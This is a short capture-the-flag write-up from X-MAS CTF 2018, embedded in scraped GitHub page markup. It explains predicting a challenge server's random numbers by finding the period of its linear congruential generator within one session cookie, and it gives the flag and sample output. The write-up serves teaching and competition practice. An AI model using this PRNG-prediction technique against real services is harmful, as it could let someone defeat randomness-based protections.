style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/serega6531/XmasCtf2018Writeups/file-list/master/GreatMonolith"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Main.java</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Let's Crack the Great lapland monolith (421 PTS) ### Description >"Psst, I got a task for you. There's this monolith to which I need to get access, but I can't get the numbers right. Can you help me? I pay well." ~ A shady dealer gnome>>_Authors: Milkdrop + Gabies_ Links:- Server: [http://199.247.6.180:12000](http://199.247.6.180:12000) Flag: ```X-MAS{LCG_0n_7h3_LapL4nd_m0n0LiTh_1s_n0t_7ha7_s3cur3}``` ### Solution #### This solution is unintended! Intended solution is described in [the second part](../Let%27s%20Crack%20the%20Greater%20lapland%20monolith/README.md). Website contains a single input field sending a given number to the server. Also it holds user's session in cookie `PHPSESSID`. We need to get _guess streak_, but I'm not enough lucky to catch even 1 correct guess. And we don't even know the type of the random generator. Since [all PRNG's are periodic](https://cs.stackexchange.com/q/24420), we can try to **determine the period** of the number generator. The website prints each generated number, so let's generate some numbers from the same session and get the output. If we could receive certain number twice, we'll detect generator's period. I wrote a simple [python script](solver.py) for that. It was worked for a few minutes and printed: ```shFOUND PERIOD: 22530PHPSESSID=27734bdc6ce06142d374b1c613d18c9dNEXT 20 NUMBERS ARE:29351182661408112541738732335153502116992261612120819607620419521387732424173532952963217864``` Ok, let's try to send these numbers to Monolith. Don't forget to change `PHPSESSID`! It works! After the sending of 20 _guessed_ numbers we'll receive the flag: And also we've got the type of PRNG from the flag's text: [Linear congruential generator](https://en.wikipedia.org/wiki/Linear_congruential_generator).
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>XmasCtf2018Writeups/Krampus at master · serega6531/XmasCtf2018Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="D7F9:B9C6:AA0C588:AE7E0C9:64122563" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f2a173f57878678a76151c1e3f6dd3afe8c9f2c136b57788b6f2495b26cb405f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEN0Y5OkI5QzY6QUEwQzU4ODpBRTdFMEM5OjY0MTIyNTYzIiwidmlzaXRvcl9pZCI6Ijg2MDE1NTU3MDE0NDAwNjI4MTkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="13078f55a8d03da51178c4fd478a58ef0139c95e84720067eb88525e5200cbab" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162837579" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="XmasCtf2018Writeups/Krampus at master · serega6531/XmasCtf2018Writeups" /><meta name="twitter:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta property="og:image:alt" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="XmasCtf2018Writeups/Krampus at master · serega6531/XmasCtf2018Writeups" /><meta property="og:url" content="https://github.com/serega6531/XmasCtf2018Writeups" /><meta property="og:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/serega6531/XmasCtf2018Writeups git https://github.com/serega6531/XmasCtf2018Writeups.git"> <meta name="octolytics-dimension-user_id" content="4551398" /><meta name="octolytics-dimension-user_login" content="serega6531" /><meta name="octolytics-dimension-repository_id" content="162837579" /><meta name="octolytics-dimension-repository_nwo" content="serega6531/XmasCtf2018Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162837579" /><meta name="octolytics-dimension-repository_network_root_nwo" content="serega6531/XmasCtf2018Writeups" /> <link rel="canonical" href="https://github.com/serega6531/XmasCtf2018Writeups/tree/master/Krampus" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 